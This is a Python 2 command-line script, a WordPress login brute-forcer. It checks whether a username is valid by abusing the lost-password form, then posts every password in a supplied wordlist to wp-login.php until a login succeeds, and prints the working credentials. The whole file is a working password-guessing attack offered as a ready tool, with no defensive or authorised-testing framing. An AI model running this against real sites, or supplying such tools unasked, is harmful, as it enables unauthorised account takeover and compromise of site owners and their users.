""" wp-login bruteforcer """

from os import path
import argparse
import requests

PARSER = argparse.ArgumentParser(description="wp-login bruteforcer")
PARSER.add_argument("--url", dest="URL", help="full link to wp-login.php",
                    required=True)
PARSER.add_argument("--user", dest="USER", default="Administrator",
                    help="the user to check, default 'Administrator'")
PARSER.add_argument("--wordlist", "-w", dest="WORDLIST",
                    help="path to the wordlist",
                    required=True)
PARSER.add_argument("--show", "-s", action="store_true", help="show the\
                    user:pass combination on request")
PARSER.add_argument("--check", action="store_true", dest="check",
                    help="check if the specified username is valid")
PARSER.add_argument("--debug", "-d", action="store_true", help="debugging flag,\
                    you probably won't need this")

ARGS = PARSER.parse_args()

URL = ARGS.URL.split("?")[0]
USER = ARGS.USER
WORDLIST = ARGS.WORDLIST

print "Base URL: %s\n" % URL

if ARGS.check == True:
    CHECKURL = URL + "?action=lostpassword"
    print "Trying to reset the password for user '%s' on %s" % (USER, CHECKURL)

    DATA = {"user_login": USER, "redirect_to": "",
            "wp-submit": "Get+New+Password"}

    RESET = requests.post(CHECKURL, data=DATA)

    if not "Check your e-mail" in RESET.text:
        print "'%s' is not a valid username, exiting." % USER
        exit(1)
    else:
        print "'%s' is a valid username." % USER

TEST = requests.get(URL)
if TEST.status_code != 200:
    print "Response is not 200, check the URL."
    exit(1)

if not path.exists(WORDLIST):
    print "Can't open the specified file, exiting."
    exit(1)

with open(WORDLIST) as wordlist:
    for line in wordlist:
        try:
            passwd = line.replace("\r", "").replace("\n", "")

            data = {"log": USER, "pwd": passwd,
                    "wp-submit": "Log+In", "redirect_to": "",
                    "testcookie": "1"}
            cookies = {"wordpress_test_cookie": "WP+Cookie+check"}

            REQ = requests.post(URL, data=data, cookies=cookies)

            if ARGS.debug == True:
                print "Response: %s" % REQ.status_code

            if "login_error" in REQ.text:
                if ARGS.show == True:
                    print "%s:%s -> FAILED" % (USER, passwd)
            else:
                print "\nGot access! %s:%s" % (USER, passwd)
                exit(0)
        except KeyboardInterrupt:
            print "\nGot ^C, exiting."
            exit(0)

print "No password found :("
